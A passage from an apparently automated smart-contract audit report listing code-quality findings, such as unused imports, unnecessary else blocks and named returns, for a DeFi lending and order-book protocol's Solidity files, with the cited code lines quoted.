174: if (e.buybackAmount == 0 || e.buybackAmount > e.ercDebt) revert Errors.InvalidBuyback();
/// @audit put `0` on the left
188: if (e.ethFilled == 0) revert Errors.ExitShortPriceTooLow();
RedemptionFacet.sol (73, 235, 314, 353, 371):
/// @audit put `address(0)` on the left
73: if (redeemerAssetUser.SSTORE2Pointer != address(0)) revert Errors.ExistingProposedRedemptions();
/// @audit put `address(0)` on the left
235: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit put `address(0)` on the left
314: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit put `address(0)` on the left
353: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit put `0` on the left
371: if (shortRecord.ercDebt == 0 && shortRecord.status == SR.FullyFilled) {
LibOracle.sol (60, 60, 76, 76, 76, 89, 125, 125, 125, 126, 126, 126, 134):
/// @audit put `0` on the left
60: if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
/// @audit put `0` on the left
60: if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
/// @audit put `0` on the left
76: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
76: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
76: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
89: if (twapPrice == 0) {
/// @audit put `0` on the left
125: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
125: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
125: bool invalidFetchData = roundId == 0 || timeStamp == 0 || timeStamp > block.timestamp || chainlinkPrice <= 0
/// @audit put `0` on the left
126: || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
/// @audit put `0` on the left
126: || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
/// @audit put `0` on the left
126: || baseRoundId == 0 || baseTimeStamp == 0 || baseTimeStamp > block.timestamp || baseChainlinkPrice <= 0;
/// @audit put `0` on the left
134: if (twapPrice == 0) revert Errors.InvalidTwapPrice();
LibOrders.sol (371, 371, 501, 505, 677, 805):
/// @audit put `0` on the left
371: if (hintId == 0 || nextId == 0) {
/// @audit put `0` on the left
371: if (hintId == 0 || nextId == 0) {
/// @audit put `0` on the left
501: if (b.matchedAskId != 0) {
/// @audit put `0` on the left
505: if (b.matchedShortId != 0) {
/// @audit put `0` on the left
677: SR status = incomingShort.ercAmount == 0 ? SR.FullyFilled : SR.PartialFill;
/// @audit put `15 minutes` on the left
805: if (timeDiff >= 15 minutes) {
LibSRUtil.sol (131):
/// @audit put `0` on the left
131: if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
UniswapOracleLibrary.sol (52):
/// @audit put `0` on the left
52: if (secondsAgo <= 0) revert Errors.InvalidTWAPSecondsAgo();
[33] Libraries should be defined in separate files
The libraries below should be defined in separate files, so that it’s easier for future projects to import them, and to avoid duplication later on if they need to be used elsewhere in the project.
UniswapOracleLibrary.sol (21):
21: library OracleLibrary {
[34] else
-block not required
One level of nesting can be removed by not having an else
block when the if
-block always jumps at the end. For example:
if (condition) {
body1...
return x;
} else {
body2...
}
can be changed to:
if (condition) {
body1...
return x;
}
body2...
There are 27 instances:
BidOrdersFacet.sol (106-112, 347-349):
106: if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {
107: // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
108: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
109: b.shortHintId = b.shortId = Asset.startingShortId;
110: b.oraclePrice = LibOracle.getPrice(asset);
111: return bidMatchAlgo(asset, incomingBid, orderHintArray, b);
112: } else {
347: if (noAsks || shortPriceLessThanAskPrice) {
348: return lowestShort;
349: } else {
BridgeRouterFacet.sol (173-176):
173: if (dethTotalNew >= dethTotal) {
174: // when yield is positive 1 deth = 1 eth
175: return amount;
176: } else {
RedemptionFacet.sol (38-40):
38: if (shortRecord.status == SR.Closed || shortRecord.ercDebt < minShortErc || proposer == shorter) {
39: return false;
40: } else {
LibBridgeRouter.sol (59-62, 65-68, 89-92, 95-98):
59: if (creditSteth < C.ROUNDING_ZERO) {
60: // Valid withdraw when no STETH credits
61: return amount;
62: } else {
65: if (creditSteth >= amount) {
66: VaultUser.bridgeCreditSteth -= amount;
67: return 0;
68: } else {
89: if (creditReth < C.ROUNDING_ZERO) {
90: // Valid withdraw when no RETH credits
91: return amount;
92: } else {
95: if (creditReth >= amount) {
96: VaultUser.bridgeCreditReth -= amount;
97: return 0;
98: } else {
LibOracle.sol (28-33, 48-50, 83-85, 98-100, 169-171):
28: if (oracle == baseOracle) {
29: // @dev multiply base oracle by 10**10 to give it 18 decimals of precision
30: uint256 basePriceInEth = basePrice > 0 ? uint256(basePrice * C.BASE_ORACLE_DECIMALS).inv() : 0;
31: basePriceInEth = baseOracleCircuitBreaker(protocolPrice, baseRoundID, basePrice, baseTimeStamp, basePriceInEth);
32: return basePriceInEth;
33: } else {
48: if (oracle == baseOracle) {
49: return twapCircuitBreaker();
50: } else {
83: if (invalidFetchData) {
84: return twapCircuitBreaker();
85: } else if (priceDeviation) {
98: if (chainlinkDiff <= twapDiff) {
99: return chainlinkPriceInEth;
100: } else {
169: if (LibOrders.getOffsetTime() - getTime(asset) < 15 minutes) {
170: return getPrice(asset);
171: } else {
LibOrders.sol (241-243, 243-245, 272-274, 274-276, 381-383, 383-385, 412-414, 421-423, 423-425, 765-768, 768-772, 836-838, 838-840):
241: if (check1 && check2) {
242: return C.EXACT;
243: } else if (!check1) {
243: } else if (!check1) {
244: return C.PREV;
245: } else if (!check2) {
272: if (check1 && check2) {
273: return C.EXACT;
274: } else if (!check1) {
274: } else if (!check1) {
275: return C.PREV;
276: } else if (!check2) {
381: if (direction == C.EXACT) {
382: return hintId;
383: } else if (direction == C.NEXT) {
383: } else if (direction == C.NEXT) {
384: return getOrderId(orders, asset, C.NEXT, nextId, incomingOrder.price, incomingOrder.orderType);
385: } else {
412: if (orderType == O.LimitAsk || orderType == O.LimitShort) {
413: return verifySellId(orders, asset, prevId, newPrice, nextId);
414: } else if (orderType == O.LimitBid) {
421: if (o == O.LimitBid || o == O.MarketBid) {
422: return O.LimitBid;
423: } else if (o == O.LimitAsk || o == O.MarketAsk) {
423: } else if (o == O.LimitAsk || o == O.MarketAsk) {
424: return O.LimitAsk;
425: } else if (o == O.LimitShort) {
765: if (isExactStartingShort) {
766: Asset.startingShortId = shortHintId;
767: return;
768: } else if (startingShortWithinOracleRange) {
768: } else if (startingShortWithinOracleRange) {
769: // @dev prevShortPrice >= oraclePrice
770: Asset.startingShortId = prevId;
771: return;
772: } else if (allShortUnderOraclePrice) {
836: if (hintOrderType == O.Cancelled || hintOrderType == O.Matched) {
837: continue;
838: } else if (order.creationTime == orderHint.creationTime) {
838: } else if (order.creationTime == orderHint.creationTime) {
839: return orderHint.hintId;
840: } else if (!anyOrderHintPrevMatched && order.prevOrderType == O.Matched) {
LibSRUtil.sol (59-64):
59: if (shorter == msg.sender) {
60: // If call comes from exitShort() or combineShorts() then always cancel
61: LibOrders.cancelShort(asset, shortOrderId);
62: assert(shortRecord.status != SR.PartialFill);
63: return true;
64: } else if (shortRecord.ercDebt < LibAsset.minShortErc(asset)) {
[35] High cyclomatic complexity
Consider breaking down these blocks into more manageable units, by splitting things into utility functions, by reducing nesting, and by using early returns.
There are 2 instances:
ExitShortFacet.sol (142-211):
142: function exitShort(
143: address asset,
144: uint8 id,
145: uint88 buybackAmount,
146: uint80 price,
147: uint16[] memory shortHintArray,
148: uint16 shortOrderId
149: ) external isNotFrozen(asset) nonReentrant onlyValidShortRecord(asset, msg.sender, id) {
150: MTypes.ExitShort memory e;
151: e.asset = asset;
152: LibOrders.updateOracleAndStartingShortViaTimeBidOnly(e.asset, shortHintArray);
153:
154: STypes.Asset storage Asset = s.asset[e.asset];
155: STypes.ShortRecord storage short = s.shortRecords[e.asset][msg.sender][id];
156:
157: // @dev Must prevent forcedBid from exitShort() matching with original shortOrder
158: e.shortOrderIsCancelled = LibSRUtil.checkCancelShortOrder({
159: asset: asset,
160: initialStatus: short.status,
161: shortOrderId: shortOrderId,
162: shortRecordId: id,
163: shorter: msg.sender
164: });
165:
166: short.updateErcDebt(e.asset);
...... OMITTED ......
187: IDiamond(payable(address(this))).createForcedBid(msg.sender, e.asset, price, e.buybackAmount, shortHintArray);
188: if (e.ethFilled == 0) revert Errors.ExitShortPriceTooLow();
189: e.ercFilled = e.buybackAmount - e.ercAmountLeft;
190: Asset.ercDebt -= e.ercFilled;
191: s.assetUser[e.asset][msg.sender].ercEscrowed -= e.ercFilled;
192:
193: // Refund the rest of the collateral if ercDebt is fully paid back
194: if (e.ercDebt == e.ercFilled) {
195: // Full Exit
196: LibSRUtil.disburseCollateral(e.asset, msg.sender, e.collateral, short.dethYieldRate, short.updatedAt);
197: LibShortRecord.deleteShortRecord(e.asset, msg.sender, id); // prevent reentrancy
198: } else {
199: short.collateral -= e.ethFilled;
200: short.ercDebt -= e.ercFilled;
201: if (short.ercDebt < LibAsset.minShortErc(asset)) revert Errors.CannotLeaveDustAmount();
202:
203: // @dev Only allow partial exit if the CR is same or better than before
204: if (getCollateralRatioNonPrice(short) < e.beforeExitCR) revert Errors.PostExitCRLtPreExitCR();
205:
206: // @dev collateral already subtracted in exitShort()
207: VaultUser.ethEscrowed -= e.collateral - e.ethFilled;
208: LibSRUtil.disburseCollateral(e.asset, msg.sender, e.ethFilled, short.dethYieldRate, short.updatedAt);
209: }
210: emit Events.ExitShort(asset, msg.sender, id, e.ercFilled);
211: }
ShortOrdersFacet.sol (35-90):
35: function createLimitShort(
36: address asset,
37: uint80 price,
38: uint88 ercAmount,
39: MTypes.OrderHint[] memory orderHintArray,
40: uint16[] memory shortHintArray,
41: uint16 shortOrderCR
42: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant {
43: MTypes.CreateLimitShortParam memory p;
44: STypes.Asset storage Asset = s.asset[asset];
45: STypes.Order memory incomingShort;
46:
47: // @dev create "empty" SR. Fail early.
48: incomingShort.shortRecordId = LibShortRecord.createShortRecord(asset, msg.sender, SR.Closed, 0, 0, 0, 0, 0);
49:
50: uint256 cr = LibOrders.convertCR(shortOrderCR);
51: if ((shortOrderCR + C.BID_CR) < Asset.initialCR || cr >= C.CRATIO_MAX_INITIAL) {
52: revert Errors.InvalidCR();
53: }
54:
55: // @dev minShortErc needs to be modified (bigger) when cr < 1
56: p.minShortErc = cr < 1 ether ? LibAsset.minShortErc(asset).mul(1 ether + cr.inv()) : LibAsset.minShortErc(asset);
57: p.eth = price.mul(ercAmount);
58: p.minAskEth = LibAsset.minAskEth(asset);
59: if (ercAmount < p.minShortErc || p.eth < p.minAskEth) revert Errors.OrderUnderMinimumSize();
...... OMITTED ......
66: incomingShort.ercAmount = ercAmount;
67: incomingShort.id = Asset.orderIdCounter;
68: incomingShort.orderType = O.LimitShort;
69: incomingShort.creationTime = LibOrders.getOffsetTime();
70: incomingShort.shortOrderCR = shortOrderCR; // 170 -> 1.70x
71:
72: p.startingId = s.bids[asset][C.HEAD].nextId;
73: STypes.Order storage highestBid = s.bids[asset][p.startingId];
74: // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId
75: if (highestBid.price >= incomingShort.price && highestBid.orderType == O.LimitBid) {
76: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingShort, shortHintArray);
77: }
78:
79: p.oraclePrice = LibOracle.getSavedOrSpotOraclePrice(asset);
80: if (LibSRUtil.checkRecoveryModeViolation(asset, cr, p.oraclePrice)) {
81: revert Errors.BelowRecoveryModeCR();
82: }
83:
84: // @dev reading spot oracle price
85: if (incomingShort.price < p.oraclePrice) {
86: LibOrders.addShort(asset, incomingShort, orderHintArray);
87: } else {
88: LibOrders.sellMatchAlgo(asset, incomingShort, orderHintArray, p.minAskEth);
89: }
90: }
[36] Typos
All typos should be corrected.
RedemptionFacet.sol (393):
/// @audit formula
393: // @dev Derived via this formula: baseRateNew = baseRateOld + redeemedLUSD / (2 * totalLUSD)
LibBytes.sol (19):
/// @audit multiply
19: // 32 offset for array length, multiply by each ProposalData
[37] Consider bounding input array length
The functions below take in an unbounded array, and make function calls for entries in the array. While the function will revert if it eventually runs out of gas, it may be a nicer user experience to require()
that the length of the array is below some reasonable maximum, so that the user doesn’t have to use up a full transaction’s gas only to see that the transaction reverts.
BidOrdersFacet.sol (139):
139: while (true) {
RedemptionFacet.sol (78):
78: for (uint8 i = 0; i < proposalInput.length; i++) {
[38] Unnecessary casting
Unnecessary castings can be removed.
RedemptionFacet.sol (197-197):
/// @audit uint256(C.ONE_THIRD.div(0.1 ether))
197: m = uint256(C.ONE_THIRD.div(0.1 ether));
[39] Unused contract variables
The following state variables are defined but not used. It is recommended to check the code for logical omissions that cause them not to be used. If it’s determined that they are not needed anywhere, it’s best to remove them from the codebase to improve code clarity and minimize confusion.
ExitShortFacet.sol (26-26):
26: address private immutable dusd;
PrimaryLiquidationFacet.sol (28-28):
28: address private immutable dusd;
[40] Unused import
The identifier is imported but never used within the file.
There are 60 instances:
BidOrdersFacet.sol (4-4, 8-8, 11-11):
/// @audit U256
/// @audit U88
/// @audit U80
4: import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
/// @audit Modifiers
8: import {Modifiers} from "contracts/libraries/AppStorage.sol";
/// @audit STypes
/// @audit MTypes
11: import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
BridgeRouterFacet.sol (4-4, 8-8, 11-11, 13-13):
/// @audit U256
/// @audit U88
4: import {U256, U88} from "contracts/libraries/PRBMathHelper.sol";
/// @audit Modifiers
8: import {Modifiers} from "contracts/libraries/AppStorage.sol";
/// @audit LibBridge
11: import {LibBridge} from "contracts/libraries/LibBridge.sol";
/// @audit LibVault
13: import {LibVault} from "contracts/libraries/LibVault.sol";
ExitShortFacet.sol (4-4, 8-8, 11-11):
/// @audit U256
/// @audit U80
/// @audit U88
4: import {U256, U80, U88} from "contracts/libraries/PRBMathHelper.sol";
/// @audit Modifiers
8: import {Modifiers} from "contracts/libraries/AppStorage.sol";
/// @audit STypes
/// @audit MTypes
/// @audit SR
11: import {STypes, MTypes, SR} from "contracts/libraries/DataTypes.sol";
PrimaryLiquidationFacet.sol (4-4, 10-10, 11-11):
/// @audit U256
/// @audit U96
/// @audit U88
/// @audit U80
4: import {U256, U96, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
/// @audit STypes
/// @audit MTypes
10: import {STypes, MTypes, SR} from "contracts/libraries/DataTypes.sol";
/// @audit Modifiers
11: import {Modifiers} from "contracts/libraries/AppStorage.sol";
RedemptionFacet.sol (4-4, 8-8, 9-9, 19-19):
/// @audit U256
/// @audit U104
/// @audit U88
/// @audit U80
/// @audit U64
/// @audit U32
4: import {U256, U104, U88, U80, U64, U32} from "contracts/libraries/PRBMathHelper.sol";
/// @audit Modifiers
8: import {Modifiers} from "contracts/libraries/AppStorage.sol";
/// @audit STypes
/// @audit MTypes
9: import {STypes, MTypes, SR} from "contracts/libraries/DataTypes.sol";
/// @audit console
19: import {console} from "contracts/libraries/console.sol";
ShortOrdersFacet.sol (4-4, 7-7, 8-8):
/// @audit U256
/// @audit U88
/// @audit U80
4: import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
/// @audit STypes
/// @audit MTypes
7: import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
/// @audit Modifiers
8: import {Modifiers} from "contracts/libraries/AppStorage.sol";
LibBridgeRouter.sol (6-6, 7-7, 12-12):
/// @audit STypes
6: import {STypes} from "contracts/libraries/DataTypes.sol";
/// @audit AppStorage
7: import {AppStorage, appStorage} from "contracts/libraries/AppStorage.sol";
/// @audit U256
/// @audit U88
12: import {U256, U88} from "contracts/libraries/PRBMathHelper.sol";
/// @audit U256
4: import {U256} from "contracts/libraries/PRBMathHelper.sol";
/// @audit AppStorage
9: import {AppStorage, appStorage} from "contracts/libraries/AppStorage.sol";
LibOrders.sol (4-4, 8-8, 9-9, 15-15):
/// @audit U256
/// @audit U104
/// @audit U80
/// @audit U88
/// @audit U16
4: import {U256, U104, U80, U88, U16} from "contracts/libraries/PRBMathHelper.sol";
/// @audit AppStorage
8: import {AppStorage, appStorage} from "contracts/libraries/AppStorage.sol";
/// @audit STypes
/// @audit MTypes
9: import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
/// @audit LibVault
15: import {LibVault} from "contracts/libraries/LibVault.sol";
LibSRUtil.sol (4-4, 6-6, 7-7):
/// @audit U88
/// @audit U256
4: import {U88, U256} from "contracts/libraries/PRBMathHelper.sol";
/// @audit STypes
6: import {STypes, SR} from "contracts/libraries/DataTypes.sol";
/// @audit AppStorage
7: import {AppStorage, appStorage} from "contracts/libraries/AppStorage.sol";
[41] Unused local variables
The following local variables are not used. It is recommended to check the code for logical omissions that cause them not to be used. If it’s determined that they are not needed anywhere, it’s best to remove them from the codebase to improve code clarity and minimize confusion.
LibOracle.sol (27-27):
27: try baseOracle.latestRoundData() returns (uint80 baseRoundID, int256 basePrice, uint256, uint256 baseTimeStamp, uint80) {
[42] Unused named return
Declaring named returns, but not using them, is confusing to the reader. Consider either completely removing them (by declaring just the type without a name), or remove the return statement and do a variable assignment. This would improve the readability of the code, and it may also help reduce regressions during future code refactors.
There are 27 instances:
BidOrdersFacet.sol (40-47, 65-68, 77-85, 130-135, 275-280, 340-340):
/// @audit ethFilled
/// @audit ercAmountLeft
40: function createBid(
41: address asset,
42: uint80 price,
43: uint88 ercAmount,
44: bool isMarketOrder,
45: MTypes.OrderHint[] calldata orderHintArray,
46: uint16[] calldata shortHintArray
47: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant returns (uint88 ethFilled, uint88 ercAmountLeft) {
/// @audit ethFilled
/// @audit ercAmountLeft
65: function createForcedBid(address sender, address asset, uint80 price, uint88 ercAmount, uint16[] calldata shortHintArray)
66: external
67: onlyDiamond
68: returns (uint88 ethFilled, uint88 ercAmountLeft)
/// @audit ethFilled
/// @audit ercAmountLeft
77: function _createBid(
78: address sender,
79: address asset,
80: uint80 price,
81: uint88 ercAmount,
82: bool isMarketOrder,
83: MTypes.OrderHint[] memory orderHintArray,
84: uint16[] memory shortHintArray
85: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
/// @audit ethFilled
/// @audit ercAmountLeft
130: function bidMatchAlgo(
131: address asset,
132: STypes.Order memory incomingBid,
133: MTypes.OrderHint[] memory orderHintArray,
134: MTypes.BidMatchAlgo memory b
135: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
/// @audit ethFilled
/// @audit ercAmountLeft
275: function matchIncomingBid(
276: address asset,
277: STypes.Order memory incomingBid,
278: MTypes.Match memory matchTotal,
279: MTypes.BidMatchAlgo memory b
280: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
/// @audit lowestSell
340: function _getLowestSell(address asset, MTypes.BidMatchAlgo memory b) private view returns (STypes.Order memory lowestSell) {
ExitShortFacet.sol (213-213):
/// @audit cRatio
213: function getCollateralRatioNonPrice(STypes.ShortRecord storage short) internal view returns (uint256 cRatio) {
RedemptionFacet.sol (382-384):
/// @audit redemptionFee
382: function calculateRedemptionFee(address asset, uint88 colRedeemed, uint88 ercDebtRedeemed)
383: internal
384: returns (uint88 redemptionFee)
LibBridgeRouter.sol (113-113):
/// @audit fee
113: function withdrawalFeePct(uint256 bridgePointer, address rethBridge, address stethBridge) internal view returns (uint256 fee) {
LibOracle.sol (69-75, 131-131, 156-156, 162-162):
/// @audit _protocolPrice
69: function baseOracleCircuitBreaker(
70: uint256 protocolPrice,
71: uint80 roundId,
72: int256 chainlinkPrice,
73: uint256 timeStamp,
74: uint256 chainlinkPriceInEth
75: ) private view returns (uint256 _protocolPrice) {
/// @audit twapPriceInEth
131: function twapCircuitBreaker() private view returns (uint256 twapPriceInEth) {
/// @audit creationTime
156: function getTime(address asset) internal view returns (uint256 creationTime) {
/// @audit oraclePrice
162: function getPrice(address asset) internal view returns (uint80 oraclePrice) {
LibOrders.sol (30-30, 231-234, 260-266, 402-409, 420-420, 440-447, 826-830):
/// @audit timeInSeconds
30: function getOffsetTime() internal view returns (uint32 timeInSeconds) {
/// @audit direction
231: function verifyBidId(address asset, uint16 _prevId, uint256 _newPrice, uint16 _nextId)
232: internal
233: view
234: returns (int256 direction)
/// @audit direction
260: function verifySellId(
261: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
262: address asset,
263: uint16 _prevId,
264: uint256 _newPrice,
265: uint16 _nextId
266: ) private view returns (int256 direction) {
/// @audit direction
402: function verifyId(
403: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
404: address asset,
405: uint16 prevId,
406: uint256 newPrice,
407: uint16 nextId,
408: O orderType
409: ) internal view returns (int256 direction) {
/// @audit newO
420: function normalizeOrderType(O o) private pure returns (O newO) {
/// @audit _hintId
440: function getOrderId(
441: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
442: address asset,
443: int256 direction,
444: uint16 hintId,
445: uint256 _newPrice,
446: O orderType
447: ) internal view returns (uint16 _hintId) {
/// @audit hintId
826: function findOrderHintId(
827: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
828: address asset,
829: MTypes.OrderHint[] memory orderHintArray
830: ) internal view returns (uint16 hintId) {
LibSRUtil.sol (49-51, 102-105):
/// @audit isCancelled
49: function checkCancelShortOrder(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
50: internal
51: returns (bool isCancelled)
/// @audit recoveryViolation
102: function checkRecoveryModeViolation(address asset, uint256 shortRecordCR, uint256 oraclePrice)
103: internal
104: view
105: returns (bool recoveryViolation)
[43] Consider using delete
rather than assigning zero to clear values
The delete
keyword more closely matches the semantics of what is being done, and draws more attention to the changing of state, which may lead to a more thorough audit of its associated logic.
BidOrdersFacet.sol (158-158, 191-191, 194-194):
158: lowestSell.ercAmount = 0;
191: b.dustShortId = b.dustAskId = 0;
194: incomingBid.ercAmount = 0;
LibBridgeRouter.sol (56-56, 69-69, 86-86, 99-99, 167-167, 176-176, 188-188, 189-189):
56: VaultUser.bridgeCreditReth = 0;
69: VaultUser.bridgeCreditSteth = 0;
86: VaultUser.bridgeCreditSteth = 0;
99: VaultUser.bridgeCreditReth = 0;
167: VaultUserFrom.bridgeCreditReth = 0;
176: VaultUserFrom.bridgeCreditSteth = 0;
188: VaultUserFrom.bridgeCreditReth = 0;
189: VaultUserFrom.bridgeCreditSteth = 0;
LibOrders.sol (578-578, 585-585, 612-612):
578: incomingAsk.ercAmount = 0;
585: highestBid.ercAmount = 0;
612: incomingAsk.ercAmount = 0;
LibSRUtil.sol (138-138, 148-148):
138: short.tokenId = 0;
148: nft.shortOrderId = 0;
UniswapOracleLibrary.sol (56-56):
56: secondsAgos[1] = 0;
[44] Use the latest Solidity version
Upgrading to the latest solidity version (0.8.19 for L2s) can optimize gas usage, take advantage of new features and improve overall contract efficiency. Where possible, based on compatibility requirements, it is recommended to use newer/latest solidity version to take advantage of the latest optimizations and features.
BidOrdersFacet.sol (2):
2: pragma solidity 0.8.21;
BridgeRouterFacet.sol (2):
2: pragma solidity 0.8.21;
ExitShortFacet.sol (2):
2: pragma solidity 0.8.21;
PrimaryLiquidationFacet.sol (2):
2: pragma solidity 0.8.21;
RedemptionFacet.sol (2):
2: pragma solidity 0.8.21;
ShortOrdersFacet.sol (2):
2: pragma solidity 0.8.21;
LibBridgeRouter.sol (2):
2: pragma solidity 0.8.21;
LibBytes.sol (2):
2: pragma solidity 0.8.21;
LibOracle.sol (2):
2: pragma solidity 0.8.21;
LibOrders.sol (2):
2: pragma solidity 0.8.21;
LibSRUtil.sol (2):
2: pragma solidity 0.8.21;
UniswapOracleLibrary.sol (2):
2: pragma solidity 0.8.21;
[45] Consider using named function arguments
When calling functions with multiple arguments, consider using named function parameters, rather than positional ones.
ExitShortFacet.sol (187-187):
187: IDiamond(payable(address(this))).createForcedBid(msg.sender, e.asset, price, e.buybackAmount, shortHintArray);
PrimaryLiquidationFacet.sol (188-188):
188: IDiamond(payable(address(this))).createForcedBid(address(this), m.asset, _bidPrice, m.short.ercDebt, shortHintArray);
[46] Named returns are recommended
Using named returns makes the code more self-documenting, makes it easier to fill out NatSpec, and in some cases can save gas. The cases below are where there currently is at most one return statement, which is ideal for named returns.
There are 17 instances:
BridgeRouterFacet.sol (40-40, 51-51, 169-169):
40: function getDethTotal(uint256 vault) external view nonReentrantView returns (uint256) {
51: function getBridges(uint256 vault) external view returns (address[] memory) {
169: function _ethConversion(uint256 vault, uint88 amount) private view returns (uint88) {
PrimaryLiquidationFacet.sol (47-52, 122-124, 229-229):
47: function liquidate(address asset, address shorter, uint8 id, uint16[] memory shortHintArray, uint16 shortOrderId)
48: external
49: isNotFrozen(asset)
50: nonReentrant
51: onlyValidShortRecord(asset, shorter, id)
52: returns (uint88, uint88)
122: function _setLiquidationStruct(address asset, address shorter, uint8 id, uint16 shortOrderId)
123: private
124: returns (MTypes.PrimaryLiquidation memory)
229: function min88(uint256 a, uint88 b) private pure returns (uint88) {
RedemptionFacet.sol (31-34):
31: function validRedemptionSR(STypes.ShortRecord storage shortRecord, address proposer, address shorter, uint256 minShortErc)
32: internal
33: view
34: returns (bool)
LibBridgeRouter.sol (39-41):
39: function assessDeth(uint256 vault, uint256 bridgePointer, uint88 amount, address rethBridge, address stethBridge)
40: internal
41: returns (uint88)
LibBytes.sol (11-11):
11: function readProposalData(address SSTORE2Pointer, uint8 slateLength) internal view returns (MTypes.ProposalData[] memory) {
LibOracle.sol (19-19, 168-168):
19: function getOraclePrice(address asset) internal view returns (uint256) {
168: function getSavedOrSpotOraclePrice(address asset) internal view returns (uint256) {
LibOrders.sol (35-35, 55-58, 78-78, 362-367, 985-985, 989-989):
35: function convertCR(uint16 cr) internal pure returns (uint256) {
55: function currentOrders(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset)
56: internal
57: view
58: returns (STypes.Order[] memory)
78: function isShort(STypes.Order memory order) internal pure returns (bool) {
362: function findPrevOfIncomingId(
363: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
364: address asset,
365: STypes.Order memory incomingOrder,
366: uint16 hintId
367: ) internal view returns (uint16) {
985: function min(uint256 a, uint256 b) internal pure returns (uint256) {
989: function max(uint256 a, uint256 b) internal pure returns (uint256) {
[47] Consider using the using
-for
syntax
The using
-for
syntax is the more common way of calling library functions.
There are 197 instances:
BidOrdersFacet.sol (48-48, 87-87, 87-87, 90-90, 98-98, 108-108, 108-108, 110-110, 114-114, 136-136, 143-143, 162-162, 166-166, 174-174, 177-177, 190-190, 199-199, 226-226, 227-227, 243-252, 288-288, 332-332, 335-335):
48: LibOrders.updateOracleAndStartingShortViaTimeBidOnly(asset, shortHintArray);
87: if (eth < LibAsset.minBidEth(asset)) revert Errors.OrderUnderMinimumSize();
87: if (eth < LibAsset.minBidEth(asset)) revert Errors.OrderUnderMinimumSize();
90: if (s.vaultUser[Asset.vault][sender].ethEscrowed < eth) revert Errors.InsufficientETHEscrowed();
98: incomingBid.creationTime = LibOrders.getOffsetTime();
108: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
108: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingBid, shortHintArray);
110: b.oraclePrice = LibOracle.getPrice(asset);
114: LibOrders.addBid(asset, incomingBid, orderHintArray);
136: uint256 minBidEth = LibAsset.minBidEth(asset);
143: LibOrders.addBid(asset, incomingBid, orderHintArray);
162: LibOrders.matchOrder(s.shorts, asset, lowestSell.id);
166: LibOrders.matchOrder(s.asks, asset, lowestSell.id);
174: LibOrders.matchOrder(s.shorts, asset, lowestSell.id);
177: LibOrders.matchOrder(s.asks, asset, lowestSell.id);
190: if (lowestSell.ercAmount.mul(lowestSell.price) >= LibAsset.minAskEth(asset).mul(C.DUST_FACTOR)) {
199: LibOrders.addBid(asset, incomingBid, orderHintArray);
226: uint88 colUsed = fillEth.mulU88(LibOrders.convertCR(lowestSell.shortOrderCR));
227: LibOrders.increaseSharesOnMatch(asset, lowestSell, matchTotal, colUsed);
243: LibShortRecord.fillShortRecord(
244: asset,
245: lowestSell.addr,
246: lowestSell.shortRecordId,
247: status,
248: shortFillEth,
249: fillErc,
250: matchTotal.ercDebtRate,
251: matchTotal.dethYieldRate
252: );
288: LibOrders.updateSellOrdersOnMatch(asset, b);
332: emit Events.MatchOrder(asset, bidder, incomingBid.orderType, incomingBid.id, matchTotal.fillEth, matchTotal.fillErc);
335: LibOrders.handlePriceDiscount(asset, matchTotal.lastMatchPrice);
BridgeRouterFacet.sol (64-64, 72-72, 83-83, 90-90, 102-102, 110-110, 122-122, 134-134, 143-143, 164-164):
64: if (amount < C.MIN_DEPOSIT) revert Errors.UnderMinimumDeposit();
72: emit Events.Deposit(bridge, msg.sender, dethAmount);
83: if (msg.value < C.MIN_DEPOSIT) revert Errors.UnderMinimumDeposit();
90: emit Events.DepositEth(bridge, msg.sender, dethAmount);
